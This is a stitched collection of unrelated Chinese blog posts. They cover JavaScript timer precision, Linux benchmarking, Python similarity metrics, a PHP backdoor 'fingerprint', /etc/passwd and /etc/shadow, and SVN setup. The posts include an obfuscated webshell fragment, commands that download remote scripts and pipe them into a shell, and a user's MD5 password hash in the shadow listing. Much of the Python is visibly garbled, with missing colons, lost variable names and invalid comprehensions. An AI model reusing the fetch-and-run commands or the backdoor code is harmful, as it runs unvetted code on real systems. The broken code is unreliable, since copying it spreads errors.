JavaScript中定时器的精度

之前写了一篇文章介绍JS中的高精度计时,那么,与高精度相对的,低精度又是什么呢?或者说我们常接触到的精度是在什么水平?

这篇文章主要探讨一下JS里常用的定时器,看看它们能达到什么精度。由于结论我也不知道,所以基本上这篇文章算边做实验边写的吧,有问题希望各位看官能帮忙指出。文中的实验覆盖范围很小,而且方法也极度不严谨,大家先且一看吧,也许有时间我会再重新做实验。

正传
setTimeout
曾几何时,有前辈教诲我们,JS里setTimeout是不精确的,因为它所做的事情只是把任务添加到事件队列当中。如果在这个任务执行之前有别的任务执行的比较慢(比如死循环、大规模DOM操作、fs.同步IO等),那么后面的任务就会被推迟执行了。

与此同时,setTimeout(func, 0)是我们常见的一种奇怪的技巧,它可以让任务推迟执行,而又不推迟很多。说直观一点,通过这种技巧可以模拟一个低优先级的任务,比如我们在操作DOM的同时又希望window.scrollTo(0, 0),也许我们就会把后者放在setTimeout 0当中。在没有研究清楚event loop前,这也许是心理安慰,但因地制宜地用这个技巧常常会发生一些老中医般的意想不到的神奇效果。

我们先看看在没有任何其他繁忙任务时,setTimeout 0能达到多少精度。

1
2
3
4
5
var start = hrt();
setTimeout(function(){
  var now = hrt();
  console.log(now - start);
}, 0);

配合使用上回的高精度计时函数使用,在OSX Chrome34中,我这大概是9~10ms,而在node.js里则可以达到1.2~2.6ms的样子。然后我们慢慢增大延迟值,试着探索一下setTimeout有多少精度吧。
粗略实验下,发现在Chrome中,setTimeout的时间下限基本上就是9~10ms,当延迟在10多20这个水平时候,也能达到,但波动相当大。延迟到30以上,基本上实际时间比设置值只会多到1~2ms的样子;而在node中,即使设置很小的延迟,也能达到,但实际时间也会比设置值多个1~2ms。

模拟一下setTimeout被推迟的情况

1
2
3
4
5
6
var start = hrt();
for (var i=0; i<1e8; ++i) ;
setTimeout(function(){
  var now = hrt();
  console.log(now - start);
}, 0);

明显就看到时间变长多了,所以必须谨记setTimeout并不靠谱。

setInterval
这是用来做周期触发的回调用的,首先我们也丧心病狂的试试setInterval 0吧。

1
2
3
4
5
6
7
8
var start = hrt(), last = start;
var id = setInterval(function(){
  var now = hrt();
  console.log(now - last);
  last = now;

  if (now - start > 2000) clearInterval(id);
}, 0);

在Chrome里平均稳定在4.6ms左右一次,当时间设置到6ms以上时,基本上能达到,但实际触发时间比设置要大1ms左右。node这边依然要好一些,几乎能达到任何设置的时间,但也会有大概1ms的延迟。毫无疑问setInterval也是会被负荷重的任务推迟,就不演示了。

setImmediate
这是node.js才有的函数,我这里它大概有不到1ms的延迟。在朴灵的《深入浅出node.js》一书中对这个函数有比较详尽的解释,这里我就不赘述了。

不得不说的是——setImmediate也会被同步的代码阻塞——yes, this is JavaScript。

小结
到这里,常用的setXXX系列手工产生异步的办法都看了一遍。不得不承认node与浏览器在这些核心函数上优化都是相当到位的。但是其他浏览器,包括windows上,尤其是某些老旧的IE,我对它们表示不乐观,还好我现在的工作很少和这些东西打交道,改天有时间我应该会再用手机做一次测试,以求更贴近我的工作环境。

番外篇
requestAnimationFrame
这个东西,我觉得基本上把它当做一个setTimeout 0来看待就行了,现在比较推崇用它来做动画,我们也看看它的精度吧。

1
2
3
4
5
6
7
8
9
var start = hrt(), last = start;
function loop(){
  var now = hrt();
  console.log(now - last);
  last = now;

  if (now - start < 2000) requestAnimationFrame(loop);
}
loop();

我本来满心期望它有很稳定的触发间隔,但我失望了,从15ms多到17ms都有,不是很稳定。但据说它给浏览器带来的符合是更小的,所以会有更好的性能?这个15~17ms很有讲究,因为这刚好就是60FPS,似乎我还真没见过什么浏览器是超过60FPS的。

setZeroTimeout
这是一个很有趣的黑科技(github),它通过postMessage来为浏览器模拟setImmediate,(在可能的时候)避免使用setTimeout 0,试了一下,用它的确是能做到0~1ms的触发时间,简直厉害……

值得一提的是,我们有时候会用setTimeout嵌套来达到与setInterval类似的效果,嵌套使用setTimeout 0还可以(我刚试了下,反复setTimeout 0能达到和setInterval 0一样的4~5ms精度),嵌套setZeroTimeout因为触发太频繁,不出一秒浏览器就直接卡死了……

JavaScript中的高精度计时

HRT(High Resolution Timing, 高精度计时)在一些场合有很大的作用,比如游戏开发中,需要精确的计算两帧之间的时间差。

在JS中常常用(new Date()).getTime()来获取毫秒级的时间戳,虽然是毫秒级,但事实上它的真实精度只能达到大概16ms的级别。例如

1
2
3
while (true){
  console.log((new Date()).getTime()); // 这样死循环浏览器会跪的,责任自负
}

会发现它事实上大概16ms才跳一次,也许是17ms、又或者15ms吧,反正实际精度是有限的——什么?你跟我说是1ms?我告诉你那是因为新的系统或者浏览器使用了更高精度——但这不影响这篇文章的内容……

这对于日常应用来说完全够用了,但是对于游戏这样的场合,高精度计时就有它不可取代的意义了。

故事从这里开始
上面的获得毫秒级时间戳的方式之所以精度有限,是因为它的实现方式,以及它“绝对时间”的定义。
以Windows为例,这一类时间戳所使用的系统调用,比如GetSystemTime()MSDN、GetTickCount()MSDN,其函数的取值并不是实时的,而是通过硬件的时钟中断被动刷新的,这里的刷新间隔“正好”就是上面那个16ms。以GetSystemTime()为例,它返回的是SYSTEMTIME结构体,这用来进行时间日期处理的,因为时间日期处理通常根本不需要也不应该用那么高的精度(甚至很多时候只需要秒级别的精度),所以(new Date()).getTime()通过它们实现的确是可以胜任的。

现在我们明白了,靠这个时间戳是不能实现高精度计时的。
在Windows上,常常有两种高精度计时的方式:
第一种是timeGetTime()MSDN,它能返回系统启动到现在所经过的毫秒数,精度是1ms,因为它是32位的,所以大概49.71天会溢出清零。
第二种QueryPerformanceCounter()配合QueryPerformanceFrequency()MSDN实现,能够实现微秒级别的计时精度,对于大多数场合而言都够了。
当然还有更先进的方法,是通过CPU中的硬件计数器,和CPU每个时钟周期的时间,计算出更精确的时间(通常是纳秒级别的),对精度要求极高的场合这是最精确的选择了。

通常在使用固定位数的情况下,精度越高意味着计时的范围越小,这就不罗嗦了。

回到JavaScript中来
上面那些乱七八糟系统调用其实更咱们都没什么太大关系,我们能干什么完全看运行环境乐意给什么。
在webkit中提供了performance.now()参考文献来获取一个毫秒级的浮点数时间戳,我没查到资料它的有效精度是多少,不过既然给了个浮点数那就这么用着吧,我们就当它是微秒级的了!
在node.js中,有process.hrtime()DOC,返回的是一个数组[seconds, nanoseconds],看起来它具有纳秒级别的精度?且信了吧。

综合一下,我写了下面的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
exports.time = (function(){
  if (typeof window !== 'undefined'){
    // 浏览器
    if (typeof window.performance !== 'undefined' && typeof performance.now !== 'undefined'){
      // support hrt
      return function(){
        return performance.now();
      };
    }else{
      // oh no..
      return function(){
        return (new Date()).getTime();
      };
    }
  }else{
    // node.js
    return function(){
      var diff = process.hrtime();
      return (diff[0] * 1e9 + diff[1]) / 1e6; // nano second -> ms
    };
  }
})();

有了上面的代码(gist),我们就能写一个秒表神马的,在做性能测试的时候就用得上了。

最后还是要唠叨一句,HRT是用来计算时间差的,不是用来计算现实中时间(挂钟时间)的。

下一篇文章中,将会对JS中的时间精度进行进一步的讨论,对象自然就是setTimeout/setInterval了!

Linux简单性能测试命令

1.top
Top命令显示了实际CPU使用情况,默认情况下,它显示了服务器上占用CPU的任务信息并且每5秒钟刷新一次。你可以通过多种方式分类它们,包括PID、时间和内存使用情况。
第一行的load average即为系统负载,就是说整个VPS资源占用情况,如果正常建站,一般很少有超过5的时候;
第三行的,这个是CPU占用资源。还有后面的??%wa这个是硬盘状态,正常情况下CPU最好不要超过30%占用.wa指数长期30%以上,基本上硬盘就是不给力状态。
第四行是内存,总内存,已使用内存,空闲内存。我这里是W2的VPS,内存为1GB,大家可以参考下。

2.查看CPU,硬盘和内存信息

1
2
3
cat /proc/cpuinfo(CPU信息)
cat /proc/meminfo(内存信息)
df –lh(查看硬盘信息)

3.下载测试

1
wget http://cachefly.cachefly.net/100mb.test

4.磁盘I/O测试

1
dd if=/dev/zero of=test bs=64k count=16k oflag=dsync

这个命令,是测试磁盘I/O性能的,图中有磁盘写入速率,可以作为参考。
或者使用此命令:

1
dd if=/dev/zero of=test bs=64k count=4k oflag=dsync

SSD磁盘用这个命令:

1
hdparm -t /dev/xvda

经过上面两步测试,磁盘多出了2个文件:100mb.test,test,我们用命令删除它们。

1
2
rm 100mb.test
rm test

5.UBI跑分综合性能测试

1
wget http://www.CTOHome.com/linux-vps-pack/unixbench.sh;sh ./unixbench.sh;

一般高于400分就算正常水准,如果高于1000的话,就是非常给力。

6.其他测试命令

1
2
3
iostat  (磁盘和内存使用率)
Vmstat  (进程、内存、页面I/O块和CPU等信息的监控)
wget -qO- bench.sh | bash

初学数据挖掘-相似性度量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
# -*- coding:utf-8 -*-
critics = {'Lisa Rose'{'Lady in the Water'2.5, 'Snakes on a Plane'3.5, 'Just My Luck'3.0, 'Superman Returns'3.5, 'You, Me and Dupree'2.5,'The Night Listener'3.0},
                'Gene Seymour'{'Lady in the Water'3.0, 'Snakes on a Plane'3.5, 'Just My Luck'1.5, 'Superman Returns'5.0, 'The Night Listener'3.0, 'You, Me and Dupree'3.5},
                'Michael Phillips'{'Lady in the Water'2.5, 'Snakes on a Plane'3.0, 'Superman Returns'3.5, 'The Night Listener'4.0},
                'Claudia Puig'{'Snakes on a Plane'3.5, 'Just My Luck'3.0, 'The Night Listener'4.5, 'Superman Returns'4.0, 'You, Me and Dupree'2.5},
                'Mick LaSalle'{'Lady in the Water'3.0, 'Snakes on a Plane'4.0, 'Just My Luck'2.0, 'Superman Returns'3.0, 'The Night Listener'3.0, 'You, Me and Dupree'2.0},
                'Jack Matthews'{'Lady in the Water'3.0, 'Snakes on a Plane'4.0, 'The Night Listener'3.0, 'Superman Returns'5.0, 'You, Me and Dupree'3.5},
                'Toby'{'Snakes on a Plane'4.5, 'You, Me and Dupree'1.0, 'Superman Returns'4.0},
                'Yu':{'Lady in the Water'2.5, 'Snakes on a Plane'3.5, 'Just My Luck'3.0, 'Superman Returns'3.5, 'You, Me and Dupree'2.5,'The Night Listener'3.0}}

from math import sqrt
print u"距离与相关系数:它们之间是相反的,若距离越短(距离的数值越小),则相似度越大(相似度的数值越大)"
# 欧几里得距离
def sim_distance(prefs, person1, person2):
    # 得到两者同时评价过的电影的列表
    si = { }
    for item in prefs[person1]:
        if item in prefs[person2]:
            si[item] = 1
    # 若不存在同时评价过的电影则返回0
    if len(si) == 0 :   return 0

    # 计算所有差值的平方和
    sum_of_squares = sum([pow(prefs[person1][item] - prefs[person2][item], 2)
                                        for item in prefs[person1] if item in prefs[person2]])     # sum()函数中的参数是一个list,sum([item for item in a if item in b])

    return 1 / (1+sqrt(sum_of_squares))
print u"欧几里得距离(最后给出的数值,实际上是给出了相似度评价):"
print(sim_distance(critics, 'Lisa Rose', 'Gene Seymour'))

# 皮尔逊相关系数
def sim_pearson(prefs, p1, p2):
    si = { }
    for item in prefs[p1]:
        if item in prefs[p2]:
            si[item] = 1
    n = len(si)
    if n == 0:
        return 1    #如果两者不存在同时评论过的电影时,返回1

    #对所有偏好求和
    sum1 = sum([prefs[p1][it] for it in si])
    sum2 = sum([prefs[p2][it] for it in si])
    #求平方和
    sum1Sq = sum([pow(prefs[p1][it], 2) for it in si])
    sum2Sq = sum([pow(prefs[p2][it], 2) for it in si])
    #求乘积之和
    pSum = sum([prefs[p1][it] * prefs[p2][it] for it in si])

    #计算皮尔逊评价值
    num = pSum - (sum1 * sum2 / n)
    den = sqrt((sum1Sq-pow(sum1, 2)/n) * (sum2Sq-pow(sum2, 2)/n))

    if den == 0return 0
    r =  num/den

    return r

print u"皮尔逊相关系数:"
print (sim_pearson(critics, 'Lisa Rose', 'Gene Seymour'))

# Jaccard相似度(狭义)——只能用于判断两者之间是否一致,而不能根据其评分来判定相似度
def sim_jaccard(prefs, per1, per2):
    si_union = { }  #并集
    si_inter = { }  #交集
    si_union = dict(prefs[per1], **prefs[per2])

    for item in  prefs[per1]:
        if item in prefs[per2]:
            si_inter[item] = min(prefs[per1][item], prefs[per2][item])

    sum1 = len(si_inter)
    sum2 = len(si_union)

    if (sum2 == 0)return 0

    r = float(sum1) / sum2
    return r

print u"Jaccard相似度(狭义)——只能用于判断两者之间是否一致,而不能根据其评分来判定相似度:"
print sim_jaccard(critics, 'Lisa Rose', 'Gene Seymour')

#曼哈顿距离(城市街区距离  )
def sim_manhattan(prefs, p1, p2):
    si = { }
    for item in p1:
        if item in p2: si[item] = 1
    if len(item) == 0return 1

    sum_of_minus = sum([abs(prefs[p1][item] - prefs[p2][item]) 
                                        for item in prefs[p1] if item in prefs[p2]])
    return 1 / (sum_of_minus+1)
print u"曼哈顿距离(最后得到的数值也是相似度):"
print sim_manhattan(critics, 'Lisa Rose', 'Gene Seymour')

各种相似度计算的python实现

前言
在数据挖掘中有很多地方要计算相似度,比如聚类分析和协同过滤。计算相似度的有许多方法,其中有欧几里德距离、曼哈顿距离、Jaccard系数和皮尔逊相关度等等。我们这里把一些常用的相似度计算方法,用python进行实现以下。如果是初学者,我认为把公式先写下来,然后再写代码去实现比较好。 

欧几里德距离
几个数据集之间的相似度一般是基于每对对象间的距离计算。最常用的当然是欧几里德距离

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#-*-coding:utf-8 -*-

#计算欧几里德距离:
def euclidean(p,q):
#如果两数据集数目不同,计算两者之间都对应有的数
same = 0
for i in p:
    if i in q:
        same +=1

#计算欧几里德距离,并将其标准化
= sum([(p[i] - q[i])**2 for i in range(same)])
return 1/(1+e**.5)
我们用数据集可以去算一下: 

= [1,3,2,3,4,3]
= [1,3,4,3,2,3,4,3]
print euclidean(p,q)

得出结果是:0.261203874964

皮尔逊相关度
几个数据集中出现异常值的时候,欧几里德距离就不如皮尔逊相关度‘稳定’,它会在出现偏差时倾向于给出更好的结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-*-coding:utf-8 -*-

#计算皮尔逊相关度:
def pearson(p,q):
#只计算两者共同有的
    same = 0
    for i in p:
        if i in q:
            same +=1

    n = same
    #分别求p,q的和
    sumx = sum([p[i] for i in range(n)])
    sumy = sum([q[i] for i in range(n)])
    #分别求出p,q的平方和
    sumxsq = sum([p[i]**2 for i in range(n)])
    sumysq = sum([q[i]**2 for i in range(n)])
    #求出p,q的乘积和
    sumxy = sum([p[i]*q[i] for i in range(n)])
    # print sumxy
    #求出pearson相关系数
    up = sumxy - sumx*sumy/n
    down = ((sumxsq - pow(sumxsq,2)/n)*(sumysq - pow(sumysq,2)/n))**.5
    #若down为零则不能计算,return 0
    if down == 0 :return 0
    r = up/down
    return r

用同样的数据集去计算:

1
2
3
= [1,3,2,3,4,3]
= [1,3,4,3,2,3,4,3]
print pearson(p,q)

得出结果是:0.00595238095238

曼哈顿距离
曼哈顿距离是另一种相似度计算方法,不是经常需要,但是我们仍然学会如何用python去实现,其公式为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#-*-coding:utf-8 -*-

#计算曼哈顿距离:
def manhattan(p,q):
#只计算两者共同有的
    same = 0
    for i in p:
        if i in q:
        same += 1
#计算曼哈顿距离
    n = same
    vals = range(n)
    distance = sum(abs(p[i] - q[i]) for i in vals)
    return distance
用以上的数据集去计算:

= [1,3,2,3,4,3]
= [1,3,4,3,2,3,4,3]
print manhattan(p,q)

得出结果为4

Jaccard系数
当数据集为二元变量时,我们只有两种状态:0或者1。这个时候以上的计算相似度的方法就无法派上用场,于是我们引出Jaccard系数,这是一个能够表示两个数据集都是二元变量(也可以多元)的相似度的指标

1
2
3
4
5
6
#-*-coding:utf-8 -*-

# 计算jaccard系数
def jaccard(p,q):
    c = [for i in p if v in b]
    return float(len(c))/(len(a)+len(b)-len(b))

#注意:在使用之前必须对两个数据集进行去重
我们用一些特殊的数据集去测试一下:

1
2
3
= ['shirt','shoes','pants','socks']
= ['shirt','shoes']
print jaccard(p,q)

得出结果是:0.5

Tanimoto系数
Tanimoto系数是一种度量两个集合之间相似程度的方法(与Jaccard 系数相似,但不是完全相同)。其主要用于二元变量或者多元变量之间的数据集之间的相似度计算

1
2
#-*-coding:utf-8-*-def tanimoto(p,q):
    c = [for v in p if v in q]    return float(len(c) / (len(a) + len(b) - len(c)))

当比较的数据集的数据集合中的元素都是相异的时候,Jaccard系数与Tanimoto系数相同。

JSCN的后门指纹

1
2
3
4
@error_reporting(0);@ini_set('display_errors',false);defined

eNrtWmtPW8cW/SsOQjUoqJ33I9Rp7NgQB0wgBhKCEOJhDIaEBkJ5tPmSNCkJP2eeP6/7QFSp9hgf
enNvLlI/IGFzzpo1e6+995pzGL4QTBojCHEqKivN8tBnoiMy1HFhInZeDq2UXGCeEBm8ZSZ6HUaK
1
require(dirname(__FILE__)及对应引用文件删除

linux 系统中 /etc/passwd 和 /etc/shadow文件详解

在linux操作系统中, /etc/passwd文件中的每个用户都有一个对应的记录行,记录着这个用户的一下基本属性。该文件对所有用户可读。

而/etc/shadow文件正如他的名字一样,他是passwd文件的一个影子,/etc/shadow文件中的记录行与/etc/passwd中的一一对应,它由pwconv命令根据/etc/passwd中的数据自动产生。但是/etc/shadow文件只有系统管理员才能够进行修改和查看。

/etc/passwd文件介绍
首先,我们通过命令行

1
cat /etc/passwd

进行查看/etc/passwd文件内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
usbmux:x:103:46:usbmux daemon,,,:/home/usbmux:/bin/false
dnsmasq:x:104:65534:dnsmasq,,,:/var/lib/misc:/bin/false
avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
rtkit:x:107:114:RealtimeKit,,,:/proc:/bin/false
saned:x:108:115::/home/saned:/bin/false
whoopsie:x:109:116::/nonexistent:/bin/false
speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
avahi:x:111:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
lightdm:x:112:118:Light Display Manager:/var/lib/lightdm:/bin/false
colord:x:113:121:colord colour management daemon,,,:/var/lib/colord:/bin/false
hplip:x:114:7:HPLIP system user,,,:/var/run/hplip:/bin/false
pulse:x:115:122:PulseAudio daemon,,,:/var/run/pulse:/bin/false
yaofei:x:1000:1000:ubuntu14.04,,,:/home/yaofei:/bin/bash
sshd:x:116:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:117:125:MySQL Server,,,:/nonexistent:/bin/false

从文件中我们可以看到,/etc/passwd中一行记录对应着一个用户,每行记录又被冒号(:)分隔为7个字段,其格式和具体含义如下:
用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell

用户名(login_name):是代表用户账号的字符串。通常长度不超过8个字符,并且由大小写字母和/或数字组成。登录名中不能有冒号(:),因为冒号在这里是分隔符。为了兼容起见,登录名中最好不要包含点字符(.),并且不使用连字符(-)和加号(+)打头。
口令(passwd):一些系统中,存放着加密后的用户口令字。虽然这个字段存放的只是用户口令的加密串,不是明文,但是由于/etc/passwd文件对所有用户都可读,所以这仍是一个安全隐患。因此,现在许多Linux系统(如SVR4)都使用了shadow技术,把真正的加密后的用户口令字存放到/etc/shadow文件中,而在/etc/passwd文件的口令字段中只存放一个特殊的字符,例如“x”或者“*”。
用户标识号(UID):是一个整数,系统内部用它来标识用户。一般情况下它与用户名是一一对应的。如果几个用户名对应的用户标识号是一样的,系统内部将把它们视为同一个用户,但是它们可以有不同的口令、不同的主目录以及不同的登录Shell等。取值范围是0-65535。0是超级用户root的标识号,1-99由系统保留,作为管理账号,普通用户的标识号从100开始。在Linux系统中,这个界限是500。
组标识号(GID):字段记录的是用户所属的用户组。它对应着/etc/group文件中的一条记录。
注释性描述(users):字段记录着用户的一些个人情况,例如用户的真实姓名、电话、地址等,这个字段并没有什么实际的用途。在不同的Linux系统中,这个字段的格式并没有统一。在许多Linux系统中,这个字段存放的是一段任意的注释性描述文字,用做finger命令的输出。
主目录(home_directory):也就是用户的起始工作目录,它是用户在登录到系统之后所处的目录。在大多数系统中,各用户的主目录都被组织在同一个特定的目录下,而用户主目录的名称就是该用户的登录名。各用户对自己的主目录有读、写、执行(搜索)权限,其他用户对此目录的访问权限则根据具体情况设置。
登录Shell(Shell):用户登录后,要启动一个进程,负责将用户的操作传给内核,这个进程是用户登录到系统后运行的命令解释器或某个特定的程序,即Shell。Shell是用户与Linux系统之间的接口。Linux的Shell有许多种,每种都有不同的特点。常用的有

1
2
3
4
5
sh(BourneShell)
csh(CShell)
ksh(KornShell)
tcsh(TENEX/TOPS-20typeCShell)
bash(BourneAgainShell)

等。系统管理员可以根据系统情况和用户习惯为用户指定某个Shell。如果不指定Shell,那么系统使用sh为默认的登录Shell,即这个字段的值为/bin/sh。
/etc/shadow文件介绍
/etc/shadow文件格式与/etc/passwd文件格式类似,同样由若干个字段组成,字段之间用“:”隔开。
通过命令行输入

1
sudo cat /etc/shadow

进行文件内容查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
root:!:17043:0:99999:7:::
daemon:*:16652:0:99999:7:::
bin:*:16652:0:99999:7:::
sys:*:16652:0:99999:7:::
sync:*:16652:0:99999:7:::
games:*:16652:0:99999:7:::
man:*:16652:0:99999:7:::
lp:*:16652:0:99999:7:::
mail:*:16652:0:99999:7:::
news:*:16652:0:99999:7:::
uucp:*:16652:0:99999:7:::
proxy:*:16652:0:99999:7:::
www-data:*:16652:0:99999:7:::
backup:*:16652:0:99999:7:::
list:*:16652:0:99999:7:::
irc:*:16652:0:99999:7:::
gnats:*:16652:0:99999:7:::
nobody:*:16652:0:99999:7:::
libuuid:!:16652:0:99999:7:::
syslog:*:16652:0:99999:7:::
messagebus:*:16652:0:99999:7:::
usbmux:*:16652:0:99999:7:::
dnsmasq:*:16652:0:99999:7:::
avahi-autoipd:*:16652:0:99999:7:::
kernoops:*:16652:0:99999:7:::
rtkit:*:16652:0:99999:7:::
saned:*:16652:0:99999:7:::
whoopsie:*:16652:0:99999:7:::
speech-dispatcher:!:16652:0:99999:7:::
avahi:*:16652:0:99999:7:::
lightdm:*:16652:0:99999:7:::
colord:*:16652:0:99999:7:::
hplip:*:16652:0:99999:7:::
pulse:*:16652:0:99999:7:::
yaofei:$1$5M0Rbozg$1fWsJaQB.TFAL24b96xi41:17043:0:99999:7:::
sshd:*:17043:0:99999:7:::
mysql:!:17048:0:99999:7:::

文件中字段主要含义为:登录名:加密口令:最后一次修改时间:最小时间间隔:最大时间间隔:警告时间:不活动时间:失效时间:标志

“登录名”是与/etc/passwd文件中的登录名相一致的用户账号
“口令”字段存放的是加密后的用户口令字:
如果为空,则对应用户没有口令,登录时不需要口令;
星号代表帐号被锁定;
双叹号表示这个密码已经过期了;
$6$ 开头的,表明是用SHA-512加密;
$1$ 表明是用MD5加密;
$2$ 是用Blowfish加密;
$5$ 是用 SHA-256加密;
“最后一次修改时间”表示的是从某个时刻起,到用户最后一次修改口令时的天数。时间起点对不同的系统可能不一样。例如在SCOLinux中,这个时间起点是1970年1月1日。
“最小时间间隔”指的是两次修改口令之间所需的最小天数。
“最大时间间隔”指的是口令保持有效的最大天数。
“警告时间”字段表示的是从系统开始警告用户到用户密码正式失效之间的天数。
“不活动时间”表示的是用户没有登录活动但账号仍能保持有效的最大天数。
“失效时间”字段给出的是一个绝对的天数,如果使用了这个字段,那么就给出相应账号的生存期。期满后,该账号就不再是一个合法的账号,也就不能再用来登录了。

The following packages have been kept back 的解决方法

ubuntu 16.04

1
2
3
4
5
6
7
8
9
10
sudo apt-get upgrade
Reading package lists… Done
Building dependency tree
Reading state information… Done
The following packages have been kept back:
ginn hplip hplip-data libgrip0 libhpmud0 libsane-hpaio libunity-2d-private0
libunity-core-5.0-5 linux-generic linux-headers-generic linux-image-generic
printer-driver-hpcups printer-driver-hpijs unity unity-2d-common
unity-2d-panel unity-2d-shell unity-2d-spread unity-common unity-services
0 upgraded, 0 newly installed, 0 to remove and 20 not upgraded.

是因为有部份packages的安装版比release版新而出现”The following packages have been kept back”这个问题,解决方法是使用

1
apt-get -u dist-upgrade

统一更新到发布的版本。这条命令会强制更新软件包到最新版本,并自动解决缺少的依赖包。

Ubuntu Server配置SVN

1.安装SVN

1
apt-get install subversion

2.创建项目目录

1
2
3
4
mkdir svn //创建一个文件夹,用来存放一个或多个项目
cd ./svn //进入这个目录
mkdir project//创建一个新的项目目录
svnadmin create ./svn/project //创建svn文件仓库(这一步是让这个新的文件夹变成svn的版本库)

3.权限设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cd ./svn/project/conf
vim passwd //添加用户设置密码
root = 123456
user1 = 123456
user2 = 123456
vim authz //编辑用户权限
admin = user1,user2,root
@admin=rw
*=r
vim svnserve.conf //控制访问权限
anon-access = none #匿名用户(anonymous users)的访问权限
auth-access = write #授权用户(authenticated users)的访问权限
password-db = passwd #密码数据库文件的位置,这里指向同级目录下的passwd文件
authz-db = authz #用户授权规则文件的位置,这里指向同级目录下的authz文件

4.启动SVN
启动svn

1
svnserve -d -r /svn 

这里的/svn 的目录就是你第一步创建用来存放项目的那个目录

关闭svn
在配置过程中如果需要关闭svn则kill

1
2
3
4
ps aux | grep svn
root 21618 0.0 0.0 69596 616 ? Ss 19:07 0:00 svnserve -d -r /svn
root 21927 0.0 0.2 11748 2156 pts/0 S+ 19:10 0:00 grep –color=auto svn
kill 21618

5.配置钩子
在这里svn提供了好的钩子模板,你可以根据自己的情况选择模板,一般都是选择post-commit.tmpl(提交后更新)

1
2
cd ./svn/project/hooks
vim post-commit //新建文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash
EPOS="$1"
REV="$2"
TXN_NAME="$3"
export.UTF-8
SVN=/usr/bin/svn
WEB=/home/wwwroot/projectDIR
LOG=/tmp/www.log
$SVN update $WEB –username svnuser–password yourpasswd > $LOG || exit 1
chown wwwroot:www $WEB -R
exit 0
ifthen
echo "ok" >> /tmp/www.out
fi

6.设置模板执行权限

1
chmod 755 post-commit

7.上传代码纳入版本管理

1
svn import -m "import" /home/project svn://192.168.213.31/project

8.检出到WEB目录

1
/usr/bin/svn checkout svn://serverIP/project/ /home/wwwroot/project